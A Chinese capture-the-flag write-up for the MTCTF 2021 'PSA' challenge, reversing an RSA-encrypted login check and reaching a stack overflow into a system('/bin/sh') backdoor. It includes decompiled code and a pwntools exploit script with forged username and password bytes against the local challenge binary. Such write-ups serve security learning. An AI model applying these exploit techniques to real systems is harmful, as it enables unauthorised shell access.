-
-
[原创]MTCTF-PSA-Writeup
-
2021-7-5 02:33 12082
-
前言
PSA这道题当时归到PWN类型下,到比赛截止是2sol。但其实这道题主要问题还是在它的逆向部分。有点后悔当时没有早点看这道题,比赛结束后半个小时把这题解出来了,美团CTF差一道题没进决赛,不然将来美团实习转正的时候说不定还能吹吹这个经历
解题过程
IDA打开看到给了一个很像是登录的逻辑判断 :
如果用户名和密码对了就给你进到栈溢出函数vuln():
1 2 3 4 5 6 7 8 9 10 11 | int vuln() { __int64 buf; / / [rsp + 0h ] [rbp - 10h ] __int64 v2; / / [rsp + 8h ] [rbp - 8h ] buf = 0LL ; v2 = 0LL ; printf( "You can set message: " , 0LL , 0LL ); read( 0 , &buf, 0x1AuLL ); return printf( "OK, recv!" , &buf); } |
进入到先前的函数,可以看到题目进行了很多大数库操作,包括执行了bn_mod_exp之类的函数,基本上就可以判定是RSA,下面的代码我略修改过,所以基本上容易看清
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | signed __int64 __fastcall public_block_operation(__int64 a1, unsigned int * a2, __int64 a3, unsigned int a4, _DWORD * a5) { _DWORD * v6; / / [rsp + 8h ] [rbp - 468h ] char v7; / / [rsp + 30h ] [rbp - 440h ] char m; / / [rsp + 140h ] [rbp - 330h ] char e; / / [rsp + 250h ] [rbp - 220h ] char c; / / [rsp + 360h ] [rbp - 110h ] unsigned int edigits; / / [rsp + 468h ] [rbp - 8h ] unsigned int ndigits; / / [rsp + 46Ch ] [rbp - 4h ] v6 = a5; bn_decode((__int64)&m, 65u , a3, a4); bn_decode((__int64)&v7, 0x41u , (__int64)(v6 + 1 ), 256 ); bn_decode((__int64)&e, 0x41u , (__int64)(v6 + 65 ), 256 ); ndigits = bn_digits((__int64)&v7, 65 ); edigits = bn_digits((__int64)&e, 65 ); if ( (signed int )bn_cmp((__int64)&m, (__int64)&v7, ndigits) > = 0 ) return 4097LL ; bn_mod_exp((__int64)&c, (__int64)&m, (__int64)&e, edigits, (__int64)&v7, ndigits); * a2 = (unsigned int )( * v6 + 7 ) >> 3 ; bn_encode(a1, * a2, (__int64)&c, ndigits); memset(&c, 0 , 0x104uLL ); memset(&m, 0 , 0x104uLL ); return 0LL ; } |
那么接下的核心问题是确定公钥N和e:
注意到这里的e是用十六进制去存储的,也就是{0x01, 0x00, 0x01},即65537。N是小端序存储的,即0xdbea...
回到核心判断逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | puts( "Login\nPlease input your name:" ); v13 = read( 0 , buf, 0x100uLL ); public_block_operation((__int64)v11, (unsigned int * )&v10, (__int64)buf, v13, &pk); for ( i = 0 ; i < = 255 && !v11[i]; + + i ) ; v0 = &v11[i]; v1 = v0[ 1 ]; * (_QWORD * )s2 = * v0; v9 = v1; puts( "Please input your password:" ); memset(buf, 0 , 0x100uLL ); v13 = read( 0 , buf, 0x100uLL ); public_block_operation((__int64)v11, (unsigned int * )&v10, (__int64)buf, v13, &pk); for ( i = 0 ; i < = 255 && !v11[i]; + + i ) ; v2 = &v11[i]; v3 = v2[ 1 ]; * (_QWORD * )s = * v2; v7 = v3; if ( strcmp( "root" , s2) ) goto LABEL_22; if ( strlen(s) ! = 6 ) goto LABEL_22; i = 0 ; while ( i < = 5 ) { v4 = i + + ; asc_2040A3[v4] ^ = 0x11u ; } if ( !strcmp(asc_2040A3, s) ) { puts( "Welcome back, administrator. " ); result = vuln(); } |
以用户名为例,读入用户名后经过public_block_operation的一轮RSA加密,结果存放在v11中,然后v11首先去除掉首部的空字节,然后以Qword形式存放到s中,说穿了就是截取加密后密文的前8个字节,然后去和'root'作比较,这里可以用GDB简单调试验证下:
我输入的username是'aaa\n',跟进来在strcmp之前rsi的值与RSA加密结果的前几位一致
下面那个password处理和这个同理,只不过加了一个简单异或,就不再赘述。
那么问题的核心就在于找到一个明文字符串,用公钥加密后的前几个字节必须是root。那么直接用\x00填充构建一个8字节的密文'root\x00\x00\x00\x00',然后反推明文,这个就是解RSA或模方程的问题了,不难,此题公钥N可以容易地被分解,password部分是同理的。
最后是栈溢出部分,题目还给了一个backdoor,里面是system('/bin/sh'),只要覆盖返回地址为backdoor地址就行了,但是我记得这题开了随机地址+覆盖字节数限制,只有一定的概率能覆盖成功。exp如下即可进入栈溢出函数:
1 2 3 4 5 6 7 8 9 10 11 | from pwn import * rs = process( './rsa' ) rs.sendline( '2' ) rs.recvuntil( 'your name:\n' ) fuck = "TNH\x8b\x96\xca\xed\x02\xbdpb\xecv\xc2_\x87\x91\x8cFU\xf1^\xd7L3\xc4X\xcd1E\xc7d\xa7\xcb\x83\x08\xec\x1eQ\xfe;\xe5\xd1K\xf5\xa0\x06\xdc\x1a@Ux8\xe2kE[\xe9exn\x06\xe2\xd2\xadr\xcc\x99\x14n\xb0,\xe8\x95//\x0ca\\\n[\x9e4O\xde\x9b>\x9a\xedLf\xa0'a\x8b\xc7wW0\x85\n\xa4C\x94o\xab\xb4K\xfcDv\x96f5]c\x97\xd9`\x00\xbe\xc4R\x19\xd9Q\xeb<" rs.send(fuck) fuck2 = '\x80\xc7\x1e\xc6\xfe\x92\xee\xcb\xef2\xe3\xdf\xc2\xc2\x8a\xb0\xa6\xda\x8b\xbb\xddW\xbd9[\x97\xa9\xeeb\x9f\xba\xbe]\xa3\xd21(@\x04\x01\x9eg\\j\x89\xf2\xc6\xd2\x87\xd5\xeb\x8e\xbf\xcc\x00\xc0q\x89\x19?\xcf\xfcU\xfeq-{\xb6\xb9\xaf\xe8\xb6e\xcb\xb9\x12\x13.h\xce@\xd2\xcef\xff\xd8\xd2\xa5\xc4^\x8eKB\xee\xf5Q\x17X\xb60\xcd\xaa>7\x1f\x82S\xb9F Hg\xf5\xde\xb0r*\xda\x9a\xaa\x99M`\xe8,\xa0d\xb2' rs.recvuntil( 'your password:\n' ) rs.send(fuck2) rs.interactive() |
栈溢出以后getshell,当时的老图贴上来
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界